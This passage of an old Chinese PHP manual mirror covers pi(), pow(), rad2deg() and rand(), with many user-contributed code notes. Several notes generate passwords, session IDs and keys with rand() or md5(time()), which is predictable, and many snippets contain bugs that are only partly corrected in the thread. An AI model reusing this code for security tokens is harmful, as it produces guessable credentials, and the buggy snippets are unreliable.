   $other['execute'] = ($mode & 00001);

   $attrs = array('-','-','-','-','-','-','-','-','-','-');

   if ($system['dir']) $attrs[0] = 'd';

   if ($user['read']) $attrs[1] = 'r';
   if ($user['write']) $attrs[2] = 'w';
   if ($user['execute']) $attrs[3] = 'x';
   if ($user['suid']) $attrs[3] = 'S';

   if ($group['read']) $attrs[4] = 'r';
   if ($group['write']) $attrs[5] = 'w';
   if ($group['execute']) $attrs[6] = 'x';
   if ($group['sgid']) $attrs[6] = 'S';

   if ($other['read']) $attrs[7] = 'r';
   if ($other['write']) $attrs[8] = 'w';
   if ($other['execute']) $attrs[9] = 'x';
   if ($other['text']) $attrs[9] = 'T';

   echo '<pre>';
   echo 'Mode Decimal: ' . $mode . "\n";
   echo 'Mode Octal: ' . decoct($mode) . "\n";
   echo 'Mode String: ' . implode('',$attrs)."\n";
   echo '</pre>';
?>

Outputs:

Mode Decimal: 2536
Mode Octal: 4750
Mode String: -rwSr-x---

-Mike
add a note add a note

后退 | 起点 | 前进
mt_srand | 上一级 | pi


pi

(PHP 3, PHP 4, PHP 5)

pi -- 得到圆周率值

说明

float pi ( void )

返回圆周率的近似值。返回值的 float 精度是由 php.ini 中的 precision 指令确定。默认值是 14。你也可以使用 M_PI 常量，该常量产生与 pi() 完全相同的结果。

例子 1. pi()

<?php
echo pi(); // 3.1415926535898
echo M_PI; // 3.1415926535898
?>

add a note add a note User Contributed Notes
Keamos at gmail
14-Jan-2006 01:31
For anyone wondering, the highest precision you can get for pi() or M_PI is 20 places after the decimal point, or 3.14159265358979323846.
davidduke at hotmail dot com
28-Mar-2004 10:18
Pi is often usefull in con/sin/tan functions..
There are also other Pi related constants.
These are most of them:

M_PI  = 3.14159265358979323846 // pi

// The following were added in PHP 4.0.0
M_PI_2 = 1.57079632679489661923 // pi/2
M_PI_4 = 0.78539816339744830962 // pi/4
M_1_PI = 0.31830988618379067154 // 1/pi
M_2_PI = 0.63661977236758134308 // 2/pi
M_SQRTPI = 1.77245385090551602729 // sqrt(pi) (Only in PHP 4.0.2+)
M_2_SQRTPI = 1.12837916709551257390 // 2/sqrt(pi)
add a note add a note

后退 | 起点 | 前进
octdec | 上一级 | pow


pow

(PHP 3, PHP 4, PHP 5)

pow -- 指数表达式

说明

number pow ( number base, number exp )

返回 base 的 exp 次方的幂。如果可能，本函数会返回 integer。

如果不能计算幂，将发出一条警告，pow() 将返回 FALSE。PHP 4.2.0 版开始 pow() 不要产生任何的警告。

注: PHP 不能处理负数的 base。

例子 1. pow() 例子

<?php

var_dump(pow(2, 8)); // int(256)
echo pow(-1, 20); // 1
echo pow(0, 0); // 1

echo pow(-1, 5.5); // error

?>

警告

在 PHP 4.0.6 及之前版本中，pow() 总是返回 float，并且不产生警告。

参见 exp()，sqrt()，bcpow() gmp_pow() 和。

add a note add a note User Contributed Notes
moikboy (nospam) moikboy (nospam) hu
10-May-2006 04:27
Here is a function for calculating the $k-th root of $a :

<?php
function root($a,$k){return(($a<0&&$k%2>0)?-1:1)*pow(abs($a),1/$k);};
?>
admin at mattwilko dot com
08-Apr-2005 12:32
Here's a function that works with negative powers:

<?php
function newpow($base, $power)
{
if ($power < 0) {
$npower = $power - $power - $power;
return 1 / pow($base, $npower);
}
else
{
return pow($base, $power);
}
}
?>
louis [at] mulliemedia.com
01-Jan-2005 12:02
Here's a pow() function that allows negative bases :
<?php
function npow($base, $exp)
{
   $result = pow(abs($base), $exp);
   if ($exp % 2 !== 0) {
       $result = - ($result);
   }
   return $result;
}
?>
janklopper .AT. gmail dot.com
10-Nov-2004 10:26
since pow doesn't support decimal powers, you can use a different sollution,

thanks to dOt for doing the math!

a^b = e^(b log a)
which is no the 10log but the e-log (aka "ln")

so instead of: pow( $a , 0.6 ) use something like: exp( 0.6 * log($a) )
matthew underscore kay at ml1 dot net
18-Mar-2004 03:03
As of PHP5beta4, pow() with negative bases appears to work correctly and without errors (from a few cursory tests):

pow(-3, 3) = -27
pow(-3, 2) = 9
pow(-5, -1) = -0.2
bishop
18-Jul-2003 11:01
A couple of points on pow():
1. One of the official examples of pow(2,8) is not pragmatic; use 1 << 8 as it's substantially faster
2. When passing variables to pow(), cast them otherwise you might get warnings on some versions of PHP
3. All the rules of algebra apply: b**(-e) is 1/(b**e), b**(p/q) is the qth root of b**p

So, e.g., sqrt($x) === pow($x, .5); but sqrt() is faster.
add a note add a note

后退 | 起点 | 前进
pi | 上一级 | rad2deg


rad2deg

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

rad2deg -- 将弧度数转换为相应的角度数

说明

float rad2deg ( float number )

本函数将 number 从弧度转换为角度。

例子 1. rad2deg()

<?php

echo rad2deg(M_PI_4); // 45

?>

参见 deg2rad()。

add a note add a note User Contributed Notes
16-Dec-2004 02:22
Definition

<?
function rad2deg($arg) {
 return $arg*180/pi();
}
?>
add a note add a note

后退 | 起点 | 前进
pow | 上一级 | rand


rand

(PHP 3, PHP 4, PHP 5)

rand -- 产生一个随机整数

说明

int rand ( [int min, int max] )

如果没有提供可选参数 min 和 max，rand() 返回 0 到 RAND_MAX 之间的伪随机整数。例如想要 5 到 15（包括 5 和 15）之间的随机数，用 rand(5, 15)。

例子 1. rand() example

<?php
echo rand() . "\n";
echo rand() . "\n";

echo rand(5, 15);
?>

上例的输出类似于：

7771
22264
11

注: 在某些平台下（例如 Windows）RAND_MAX 只有 32768。如果需要的范围大于 32768，那么指定 min 和 max 参数就可以生成大于 RAND_MAX的数了，或者考虑用 mt_rand() 来替代之。

注: 自 PHP 4.2.0 起，不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种，现已自动完成。

注: 在 3.0.7 之前的版本中，max 的含义是 range。要在这些版本中得到和上例相同 5 到 15 的随机数，简短的例子是 rand (5, 11)。

参见 srand()，getrandmax() 和 mt_rand()。

add a note add a note User Contributed Notes
thebomb-hq [AT] gmx [DOT] de
03-Apr-2006 11:48
very easy function to generate keys without substr:

<?php

  function randomkeys($length)
  {
   $pattern = "1234567890abcdefghijklmnopqrstuvwxyz";
   for($i=0;$i<$length;$i++)
   {
     $key .= $pattern{rand(0,35)};
   }
   return $key;
  }

  echo randomkeys(8),"<br>";
  echo randomkeys(16),"<br>";
  echo randomkeys(32),"<br>";
  echo randomkeys(64),"<br>";

?>

output:

n94bv1h7
y9qi1qu2us3wged2
00dhax4x68028q96yyoypizjb2frgttp
478d4ab0ikapaiv0hk9838qd076q1yf46nh0ysigds6ob2xtl61odq2nx8dx7t2b
RichardBronosky (1st at last dot com)
03-Mar-2006 07:01
I think what jeswanth was shooting for was something like:

php -n -r '
//<?php
$chars = 3;
$length= 6;
while(count($nums) < $chars) $nums[rand(0,9)] = null;
while(strlen($code) < $length) $code .= array_rand($nums);
echo "\ncode: $code\n\n";
//?>
'

(No need to create a file.  Just paste that in a terminal to test.)

with $chars = 3 you get codes like:
007277
429942
340343

with $chars = 2 you get codes like:
424244
666161
112122

Now I just have to come up with a use for it!
jon at zerogen dot co dot uk
09-Feb-2006 01:50
I know the code is a bit crappy but i use this to generate a random code

$acceptedChars = 'azertyuiopqsdfghjklmwxcvbnAZERTYUIOPQSDFGHJKLMWXCVBN0123456789';
  $max = strlen($acceptedChars)-1;
  $code1 = null;
  for($i=0; $i < 6; $i++) {
   $code1 .= $acceptedChars{mt_rand(0, $max)};
}

$ttcode1 = $code1 . $email . time();
$ttcode2 = md5($ttcode1);
$ttcode = substr($ttcode2,0,10);

it grabs a random 6 digit code, then adds the email address and the time stamp, md5 all of that then i've got a unique code
AlieN
25-Jan-2006 06:48
About selecting random row from a MySQL table (much faster thand MySQL's rand function:

$tot=mysql_fetch_row(mysql_query("SELECT COUNT(*) FROM `sometable` WHERE (condition)"));
$row=rand(0,$tot);
$res=mysql_fetch_row(mysql_query("SELECT * FROM `sometable` WHERE (condition) LIMIT $row,1"));
a dot tietje at flynet dot de
20-Jan-2006 09:54
@ mozzer:

The only difference ist that your code does not allow codes < 100000. Try

$num = sprintf ('%06d', rand(0, 999999));
mozzer at mozzers dot com
19-Jan-2006 04:35
In reply to jeswanth...

There is absolutely no difference between what you just posted and any random 6 digit number.

<?php
$num = rand(100000, 999999);
$code = $num;
echo "$code";
?>
jeswanth at gmail dot com
29-Dec-2005 02:49
Hi all, I wish that following code might be usefull for you. Rand() can be used to generate unique userfriendly codes. For example if you want to give each user a code that can be easily rememberd. Rand() surprisingly generates userfriendly codes when used like this,

<?php
$num = rand(0, 9);
$num1 = rand(0, 9);
$num2 = rand(0, 9);
$num3 = rand(0, 9);
$num4 = rand(0, 9);
$num5 = rand(0, 9);
$code = $num . $num1 . $num2 . $num3 . $num4 . $num5;
echo "$code";
?>

When you run this code, you can see the generated number is easiy to remember.
RichardBronosky (1st at last dot com)
14-Dec-2005 02:40
I like the idea of expertphp at y!, but the implementation was too expensive for my load.  Here is the tightest solution to generating $x random [[:alnum:]] chars that I could think of.  I use this for creating random file names.

<?php
// Assuming $z is "_file_prefix_" or an empty string.
// If $z is unset an E_NOTICE will be added to your logs.
// That's bad for production boxes!
for($x=0;$x<32;$x++){
  $y = rand(0,61);
  $z .= chr( $y + (($y<10) ? 48 : (($y<36) ? 55 : 61)) );
}
echo $z;
?>

To get an array, just change this line:
<?php
  // $z can be unset, null, or an existing array.  E_ERROR if it's a string.
  $z[] = chr( $y + (($y<10) ? 48 : (($y<36) ? 55 : 61)) );
?>
pitilezard at gmail dot com
12-Oct-2005 07:25
Kniht: for a oneline style you can also do :

function rand_array($size,$min,$max) {
   $v = array();
   for ($i=0; $i<$size; $v[$i]=$n=rand($min,$max), $c=array_count_values($v), $i=$i+(($c[$n]==1)?1:0));
   return $v;
}
expertphp at yahoo dot com
08-Oct-2005 09:50
Generate custom random characters. By default, allwed characters are [0-9][a-z][A-Z]. Optional, you can generate only with numeric or/and not numeric characters.
For more informations, please visit: http://expert.no-ip.org/?free=Random&class

<?php

require_once 'Random.php';

// generate 3 default random characters
$obj1 = new Random;
echo $obj1->get(3)."<br />\n";

// generate 4 custom [abcdefgh] random characters
$obj2 = new Random("abcdefgh");
echo $obj2->get(4)."<br />\n";

// generate 6 default random characters
// with only numeric and not numeric character(s)
// this option is useful to generate a custom password
$obj3 = new Random(false, true, true);
echo $obj3->get(6)."<br />\n";
// generate another 12 random characters with $obj3 options
echo $obj3->get(12);

?>

Output results :

0x9
ebgc
aBAB0d
5X6Sfo0Cui6J
frank
05-Oct-2005 07:40
re: Kniht

a little change to avoid a closed loop:

function rand_array($size, $min, $max) {
   if ($size > $max)
       $size = $max;
   $v = array();
   while ( count($v) < $size ) {
       do {
           $n = rand( $min, $max );
       } while ( array_search($n, $v) !== false);
           $v[] = $n;
   }
   return $v;
}
Kniht
28-Sep-2005 05:53
RE: nick at nerdynick dot com

<?php
function rand_array( $size, $min, $max ) {
  $v = array();
  while ( count($v) < $size ) {
   do {
     $n = rand( $min, $max );
   } while ( array_search( $n, $v ) !== false );
   $v[] = $n;
  }
  return $v;
}
?>
nick at nerdynick dot com
18-Sep-2005 11:58
Here is a function I wrote to generate an array with a unigue set of numbers in each place. You can enter the Min and the Max number to pick from and the number of array places to generate for.

random_loop([# of Array Places], [Min], [Max]);

<?php
$cols = random_loop(9, 0, 9);

function random_loop($num, $min, $max){
   $rand[0] = mt_rand($min, $max);
   for($i = 1; $i<$num; $i++){
       do{
           $check = true;
           $rand[$i] = mt_rand($min, $max);
           for($ii = 0; $ii < (count($rand)-1); $ii++){
               if($rand[$i] == $rand[$ii] && $check){
                   $check = false;
                   break;
               }
           }
       }while (!$check);
   }
   return $rand;
}

?>

Enjoy and use at your will.
Viking Coder
14-Sep-2005 03:21
To mark at mmpro dot de, or anybody else wanting a unique list of random numbers in a given range.

$min=1;
$max=10;
$count=5;

$list=range($min,$max);
shuffle($list);
$list=array_slice($list,0,$count);

andy at andycc dot net, this can also be used to generate random strings.

$length=8;

$list=array_merge(range('a','z'),range(0,9));
shuffle($list);
$string=substr(join($list),0,$length);
andy at andycc dot net
29-Aug-2005 03:12
Regarding my previous post / function - there's an error in the "for" loop declaration, the correct line should be:

for ($a = 0; $a < $length; $a++) {

the previous posted line would generate a string that is 1 character longer than the given $length.  This corrects that problem.
andy at andycc dot net
29-Aug-2005 01:15
Need a string of random letters and numbers for a primary key/session ID?
Here's a dead simple function that works pretty efficiently.

Set $template to a string of letters/numbers to choose from
(e.g. any of the letters in this string can be returned as part of the unique ID - could use symbols etc.)

Then call GetRandomString(?) with an integer value that defines how long you want the string to be.

<?php

// Andy Shellam, andy [at] andycc [dot] net

// generate a random string of numbers/letters

settype($template, "string");

// you could repeat the alphabet to get more randomness
$template = "1234567890abcdefghijklmnopqrstuvwxyz";

function GetRandomString($length) {

       global $template;

       settype($length, "integer");
       settype($rndstring, "string");
       settype($a, "integer");
       settype($b, "integer");

       for ($a = 0; $a <= $length; $a++) {
               $b = rand(0, strlen($template) - 1);
               $rndstring .= $template[$b];
       }

       return $rndstring;

}

echo GetRandomString(30);

?>

This is the output after running the script 5 times:

i7wwgx8p1x0mdhn6gnyqzcq3dpqsc0
5ntlvapx6o90notob4n7isdp0ohp19
ojnyuile9y459cjr1vf9kgdas4tscw
2fr5dqn62kzfjvywqczjaoyrqjeyfd
9dtnk7e18jjx1og4gr4noznldit0ba

The longer and more varied the text of $template, the more random your string will be,
and the higher the value of GetRandomString(?), the more unique your string is.

Note also, if you pass a non-integer into the function, the settype($length) will force it to be 0,
hence you won't get anything returned, so make sure you pass it a valid integer.
Pierre C.
25-Aug-2005 07:27
I am sorry to tell you this, mark at mmpro dot de, but the function you mentioned looks awfully and unnecessarily slow to me:

At each iteration, you have to check if the generated number is not already in the list, so you end up with a complexity of O(n)... at best! (In the worst case, the algorithm might just run forever!!!)

----

Here is a better (and safer!) way to generate a random array of different numbers:

  - First generate an array, each element filled with a different value (like: 1,2,3,4,5,...,n)

  - Then shuffle your array. In other words, swap each element in your array with another randomly-chosen element in the array.

Now the algorithm has a complexity of O(n), instead of the original O(n).

----

The generation of the array of values is left at the discretion of the programmer (it is down to his/her needs to determine how the values should be reparted).

The shuffling of the array should go like this (WARNING: CODE NOT TESTED !!!):

$length = count($array) ;

for($i=0; $i<$length; $i++) {

  // Choosing an element at random
  $randpos = rand(0, $length-1) ;

  // Swapping elements
  $temp = $array[$randpos] ;
  $array[$randpos] = $array[$i] ;
  $array[$i] = $temp ;
}

return $array ;
Corry Gellatly ncl.ac.uk
14-Jul-2005 01:00
I need to generate large arrays of random numbers within specific ranges. The function provided by mark at mmpro dot de is good stuff, but if the range of your random numbers ($max - $min) is less than the number of elements in the array ($num), i.e. you want to permit duplicate values, then:

Alter this line:

 while (in_array($a,$ret));

to this:

 while (next($ret));
mark at mmpro dot de
08-Jul-2005 10:14
I needed to generate a random array of different(!) numbers, i.e. no number in the array should be duplicated. I used the nice functions from phpdeveloper AT o2 DOT pl but it didn't work as I thought.

So I varied it a little bit and here you are:

function RandomArray($min,$max,$num) {

$ret = array();

// as long as the array contains $num numbers loop
while (count($ret) <$num) {
   do {
       $a = rand($min,$max);
       //
       #echo $a."<br />";
   }
   // check if $a is already in the array $ret
   // if so, make another random number
   while (in_array($a,$ret));
   // add the new random number to the end of the array
   $ret[] = $a;
}
return($ret);

}

// generate an array of 3 numbers between 10 and 19
$ret = randomArray(10,19,3)

echo $ret[0]."-".$ret[1]."-".$ret[2];
ruku
05-Jul-2005 08:04
[quote]SELECT * FROM tablename WHERE id>='$d' LIMIT 1[/quote]

typo: $d should be $id

^^
Corry Gellatly ncl.ac.uk
04-Jul-2005 11:17
I've used this script to generate an array of random numbers with a numeric key. I got an array of over 200,000 on this system, and got <1000 using the examples submitted previously. I haven't managed to return the array variable outside the function, but have written it to a database.

<?php
function rand_array($start, $end, $rangemin, $rangemax)
{
$array = array_fill($start, $end, 1);

   foreach($array as $key => $value)
       {
       $value = rand($rangemin,$rangemax);
       print "$key: $value<br>\n";
       }
}

$start = 1;
$end = 1000;
$rangemin = 1;
$rangemax = 20000;

rand_array($start, $end, $rangemin, $rangemax);
?>
roger at kleverNOSPAM dot co dot uk
27-Jun-2005 09:28
umpalump's post was very helpful, thankyou.
Since random_0_1() can return 0, I would suggest replacing
<? $x = random_0_1(); ?>
with
<? while (!$x) $x = random_0_1(); ?>
to avoid an error when performing log($x)
emailfire at gmail dot com
21-Jun-2005 10:39
To get a random quote in a file use:

<?
$file = "quotes.txt";
$quotes = file($file);
echo $quotes[rand(0, sizeof($quotes)-1)];
?>

quotes.txt looks like:

Quote 1
Quote 2
Quote 3
Quote 4
umpalump at poczta dot neostrada dot pl
13-Jun-2005 08:32
Random numbers with Gauss distribution (normal distribution).
A correct alghoritm. Without aproximations, like Smaaps'
It is specially usefull for simulations in physics.
Check yourself, and have a fun.

<?php

function gauss()
{  // N(0,1)
   // returns random number with normal distribution:
   //  mean=0
   //  std dev=1

   // auxilary vars
   $x=random_0_1();
   $y=random_0_1();

   // two independent variables with normal distribution N(0,1)
   $u=sqrt(-2*log($x))*cos(2*pi()*$y);
   $v=sqrt(-2*log($x))*sin(2*pi()*$y);

   // i will return only one, couse only one needed
   return $u;
}

function gauss_ms($m=0.0,$s=1.0)
{  // N(m,s)
   // returns random number with normal distribution:
   //  mean=m
   //  std dev=s

   return gauss()*$s+$m;
}

function random_0_1()
{  // auxiliary function
   // returns random number with flat distribution from 0 to 1
   return (float)rand()/(float)getrandmax();
}

?>

JanS
student of astronomy
on Warsaw University
smaaps at kaldamar dot de
07-Jun-2005 01:44
Lately I needed some random numbers with a gaussian (normal) distribution, not evenly distributed as the numbers generated by rand(). After googling a while, I found out that there is no perfect algrorithm that creates such numbers out of evenly distruted random numbers but a few methods that have similar effect. The following function implements all three algorithms I found- The the last two methods create numbers where you can find a lower and upper boundary and the first one will create a number from time to time (such as one in every 10000) that may be very far from the average value. Have fun testing and using it.

function gauss($algorithm = "polar") {
   $randmax = 9999;

   switch($algorithm) {

       //polar-methode by marsaglia
       case "polar":
           $v = 2;
           while ($v > 1) {
               $u1 = rand(0, $randmax) / $randmax;
               $u2 = rand(0, $randmax) / $randmax;

               $v = (2 * $u1 - 1) * (2 * $u1 - 1) + (2 * $u2 - 1) * (2 * $u2 - 1);
           }

           return (2* $u1 - 1) * (( -2 * log($v) / $v) ^ 0.5);

       // box-muller-method
       case "boxmuller":
           do {
               $u1 = rand(0, $randmax) / $randmax;
               $u2 = rand(0, $randmax) / $randmax;

               $x = sqrt(-2 * log($u1)) * cos(2 * pi() * $u2);
           } while (strval($x) == "1.#INF" or strval($x) == "-1.#INF");

           // the check has to be done cause sometimes (1:10000)
           // values such as "1.#INF" occur and i dont know why

           return $x;

       // twelve random numbers
       case "zwoelfer":
           $sum = 0;
           for ($i = 0; $i < 12; $i++) {
               $sum += rand(0, $randmax) / $randmax;
           }
           return $sum;
     }
}
uoseth at gmail dot com
29-May-2005 12:47
If you really want to the kye to have 40 chars, you must use
for ($i=0;$i<=$length;$i++) and not
for ($i=0;$i<$length;$i++) ... there it is with the detail added

<?
// RANDOM KEY PARAMETERS
$keychars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$length = 40;

// RANDOM KEY GENERATOR
$randkey = "";
$max=strlen($keychars)-1;
for ($i=0;$i<=$length;$i++) {
  $randkey .= substr($keychars, rand(0, $max), 1);
}
?>
cmol at cmol dot dk
26-May-2005 12:23
Made this random keygen function.

It's totally random.. And you can set the number of characters as you use it...

<?php

function keygen($max){

$items = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
$x = 1;
$total = strlen($items) - 1;

while($x <= $max){

$rand = rand(0, $total);

$item = substr($items, $rand, 1);
if($x == 1){
$key = $item;
}
elseif($x > 1)
{
$key .= $item;
}
$x++;
}

echo $key;
}
$number = 10;
echo keygen($number);
?>

You can change the "items" as you like...
snecx at yahoo dot com
25-May-2005 02:00
There was some typo in the previous post. Here is a correct one (tested).

<?php

$length    = 16;
$key_chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$rand_max  = strlen($key_chars) - 1;

for ($i = 0; $i < $length; $i++)
{
   $rand_pos  = rand(0, $rand_max);
   $rand_key[] = $key_chars{$rand_pos};
}

$rand_pass = implode('', $rand_key);

echo $rand_pass;

?>
snecx at yahoo dot com
25-May-2005 01:57
The following would be a much cleaner code to produce a nice random password. The substr function is removed.

<?php

$length    = 16;
$key_chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$rand_max  = strlen($keychars) - 1;

for ($i = 0; $i < $length; $i++)
{
   $rand_pos  = rand(0, $max);
   $rand_key[] = $key_chars{$rand_pos};
}

$rand_pass = implode('', $rand_key);

echo $rand_pass;

?>
Gavin
11-May-2005 05:30
There is one problem with Luis and Goochivasquez's code.  substr starts at 0 not one, so the string is 0-39 not 1-40.  This means that substr would return false sometimes and would give you a length smaller than expected.

Here's a fix:

// RANDOM KEY PARAMETERS
$keychars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$length = 40;

// RANDOM KEY GENERATOR
$randkey = "";
$max=strlen($keychars)-1;
for ($i=0;$i<$length;$i++) {
  $randkey .= substr($keychars, rand(0, $max), 1);
}
Luis
04-May-2005 11:57
In fact, goochivasquez's methos also returns a concrete length key (40 chars in this case). Why not...

// RANDOM KEY PARAMETERS
$keychars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$length = rand(8,40);

// RANDOM KEY GENERATOR
$randkey = "";
for ($i=0;$i<$length;$i++)
{
  $randkey .= substr($keychars, rand(1, strlen($keychars) ), 1);
}
cezden
28-Apr-2005 04:29
Jawsper,

the problem is that in your method you get not more than

 RAND_MAX

'random' strings. (in fact they are not random in the set of all strings of given length) It's rather poor result when compared with goochivasquez's

strlen($keychars)^$length

number of strings.

In other words - it's little bit less complicated but far, far from achieving the goal.

cezden
jawsper
22-Apr-2005 03:33
why so complicated?

this works fine for me:

<?php
function randomstring($length) {
   $random = rand();
   $string = md5($random);
   $output = substr($string,$length);
   return $output;
}
?>
goochivasquez -at- gmail
16-Apr-2005 06:53
Following script generates a random key of characters and numbers. Handy for random logins or verifications.

***
// RANDOM KEY PARAMETERS
$keychars = "abcdefghijklmnopqrstuvwxyz0123456789";
$length = 40;

// RANDOM KEY GENERATOR
$randkey = "";
for ($i=0;$i<$length;$i++)
  $randkey .= substr($keychars, rand(1, strlen($keychars) ), 1);
hoffa at NOSPAM hoffa.se
31-Mar-2005 07:19
To shuffle an array ( [0....n] )

function Shufflearr($array) {
   $size = sizeof($array) - 1;
   for ($x = 0; $x < $size; $x++) {
       $i = rand($x, $size);
       $tmp = $array[$x];
       $array[$x] = $array[$i];
       $array[$i] = $tmp;
   }
   return $array;
}

// create an array
for ($i=0; $i<10; $i++) {
   $nbrarray[$i] = $i;
}

print_r($nbrarray); // before
$nbrarray = Shufflearr($nbrarray); // shuffle
print_r($nbrarray); // after
Sam Fullman
10-Mar-2005 12:55
Quick simple way to generate a random n-length key with this function:

function create_key($len){
   for($i=1;$i<=$len;$i++)$str.=base_convert( rand(0,15),10,16);
   return $str;
}
echo create_key(32);
ferconstantino at hotmail dot com
28-Feb-2005 04:19
RANDOM ARRAY (all different numbers)

This is a new version of a function published in this forum:

function GetRandomArray($min,$max,$num) {

   #data check
   $range = 1 + $max - $min;
   if ($num > $range) return false;
   if ($num < 1) return false;

   #data prep
   $result = array();
   $count = 0;
   $currentnum = 0;

   #loop me baby ;-)
   while(count($result) < $num) {
         $currentnum = rand($min,$max);
         if (!in_array($currentnum,$result)){
               $result[$count] = $currentnum;
       $count++;
         }
   }

   return $result;
}
horroradore at gmail dot com
25-Feb-2005 12:03
Here's the simplest way I've found to get random something without the need for an external file. Simple, but effective.

<?php
 function func(){
  //Randomize selection. In this case, 5 (0,1,2,3,4,5).
  $x = rand()&4;
  $vars = array(
   //Insert your data into array.
   0 => "var1",
   1 => "var2",
   2 => "var3",
   3 => "var4",
   4 => "var5"
  );
  echo $vars[$x];
 }
?>

The only problem with that is that it's not really random, and that you sometimes get the same result several times. I've seen sollutions to this using microtime(), but I can't think of them off the top of my head.
phpdeveloper AT o2 DOT pl
15-Feb-2005 11:29
This is most simple random array generator, hope zo ;-)
Moreover it uses some PHP array features :-), and does not search through array haystack, just checks for data if its set :P.

<?php

function GetRandomArray($min,$max,$num) {

   #data check
   $range = 1 + $max + $min;
   if ($num > $range) return false;
   if ($num < 1) return false;

   #data prep
   $result = array();
   $a = rand($min,$max);
   $result[$a] = $a;

   #loop me baby ;-)
   while(count($result) < $num) {
       do {$a = rand($min,$max); } while(isset($result[$a]));
       $result[$a] = $a;
   }

   return $result;
}

var_dump(GetRandomArray(3,10,5));
?>

nice coding 4 U all :-)
[k3oGH]
13-Feb-2005 02:34
<?php
//A way to make random quotes.
$file="quotefile.txt";
$file=file($file);
$count=count($file);
$i=0;

$rand=rand($i, $count);
echo $rand;

//this will output a random line in a textfile called quotefile.txt
?>
php dot net at dannysauer dot com
09-Feb-2005 10:47
Actually, if you want 2 different random numbers, you should probably use a while loop.  This is quicker and doesn't have the possibility of running into a recursive function limit.

<?php
function fn_arrRandom($min, $max){
   // generate two random numbers
   $iRandom1 =0;
   $iRandom2 = 0;
   // compare them
   while ($iRandom1 == $iRandom2){
       // the numbers are equal, try again
       $iRandom1 = rand($min, $max);
       $iRandom2 = rand($min, $max);
   }
   // they're not equal - go ahead and return them
   return array($iRandom1, $iRandom2);
}

print_r(fn_arrRandom(3, 13));
?>

At that point, we may as well write a function that returns an arbitrary number of differing random numbers:

<?php
function random_array($min, $max, $num){
   $range = 1+$min-$max;
   // if num is bigger than the potential range, barf.
   // note that this will likely get a little slow as $num
   // approaches $range, esp. for large values of $num and $range
   if($num > $range){
     return false;
   }
   // set up a place to hold the return value
   $ret = Array();
   // fill the array
   while(count($ret)) < $num){
     $a = false; // just declare it outside of the do-while scope
     // generate a number that's not already in the array
     // (use do-while so the rand() happens at least once)
     do{
         $a = rand($min, $max);
     }while(in_array($ret, $a));
     // stick the new number at the end of the array
     $ret[] = $a;
   }
   return $ret;
}

print_r(random_array(3, 13, 5));
?>
tech_niek at users dot sourceforge dot net
09-Feb-2005 04:50
If you want to generate two +different+ random numbers in the same range:
<?
function fn_arrRandom($min, $max){

   // generate two random numbers
   $iRandom1 = rand($min, $max);
   $iRandom2 = rand($min, $max);

   // compare them
   if ($iRandom1 !== $iRandom2){
       // the numbers are different, great
   } else {
       // the numbers are equal, try again
       return fn_arrRandom($min, $max);
   }
   return array($iRandom1, $iRandom2);
}

print_r(fn_arrRandom(3, 13));
?>

The above will output two different random numbers in an array:
 Array ( [0] => 5 [1] => 7 )
polmme at hotmail dot com
03-Feb-2005 07:10
Why not just like this....

<?

//author: polmme

$codelenght = 10;
while($newcode_length < $codelenght) {
$x=1;
$y=3;
$part = rand($x,$y);
if($part==1){$a=48;$b=57;}  // Numbers
if($part==2){$a=65;$b=90;}  // UpperCase
if($part==3){$a=97;$b=122;} // LowerCase
$code_part=chr(rand($a,$b));
$newcode_length = $newcode_length + 1;
$newcode = $newcode.$code_part;
}
echo $newcode;
?>
webdude at sider dot net
27-Jan-2005 11:32
A very simple random string generator function:

<?
function rand_str($size)
{
   $feed = "0123456789abcdefghijklmnopqrstuvwxyz";
   for ($i=0; $i < $size; $i++)
   {
       $rand_str .= substr($feed, rand(0, strlen($feed)-1), 1);
   }
   return $rand_str;
}

echo rand_str(10);
?>
relsqui at armory dot com
21-Jan-2005 06:23
Don't forget, it's faster to use bitwise operations when you need a random number that's less than some power of two. For example,

<?php
rand()&1;
// instead of
rand(0,1);
// for generating 0 or 1,

rand()&3;
// instead of
rand(0,3);
// for generating 0, 1, 2, or 3,

rand()&7;
// instead of
rand(0,7)
// for generating 0, 1, 2, 3, 4, 5, 6, or 7,
?>

and so on. All you're doing there is generating a default random number (so PHP doesn't have to parse any arguments) and chopping off the piece that's useful to you (using a bitwise operation which is faster than even basic math).
Janus - palacecommunity dot com
29-Dec-2004 10:03
Or you could do!:

$rnd = mysql_result(mysql_query("SELECT FLOOR(RAND() * COUNT(*)) FROM `table` (WHERE `condition`)"));

mysql_query("SELECT * FROM `table` (WHERE condition`) LIMIT {$rnd},1");
onno at onnovanbraam dot com
12-Sep-2004 09:58
>>Note: As of PHP 4.2.0, there is no need to seed the random number generator with srand() or mt_srand() as this is now done automatically.<<

Do realize that you don't HAVE to call srand, but if you don't you get the same results every time... Took me quite a while to get to that conclusion, since I couldn't figure it out:

foreach($Unit AS $index => $value) {
   srand() ;
   $rand_pos_x = rand(0, $EVAC['x_max']) ;
   $rand_pos_y = rand(0, $EVAC['y_max']) ;
}

works, but:

foreach($Unit AS $index => $value) {
   $rand_pos_x = rand(0, $EVAC['x_max']) ;
   $rand_pos_y = rand(0, $EVAC['y_max']) ;
}

doesnt even though they say it should.

I'm using Windows XP Pro (Windows NT EVOLUTION 5.1 build 2600), PHP Version 4.3.3, CGI/FastCGI.
aidan at php dot net
11-Sep-2004 03:45
To easily generate large numbers, or random strings such as passwords, take a look at the below function.

http://aidan.dotgeek.org/lib/?file=function.str_rand.php
a_kunyszSPAM at SUXyahoo dot com
04-Sep-2004 10:44
You won't get true random numbers from a computer but you can get some from a webcam or radioactive material.

http://www.fourmilab.ch/hotbits/ (you can fetch random bits generated from radioactive material from the web here)
http://www.lavarnd.org/ (how to set up a random number generator with a webcam)
jbarbero at u dot washington dot edu
09-Dec-2003 05:14
to jordan at do not spam .com:

The image no-cache function is simpler if you just do:
<?
$junk = md5(time());
?>

Usage would be: <img src="image.gif?<?=$junk?>">

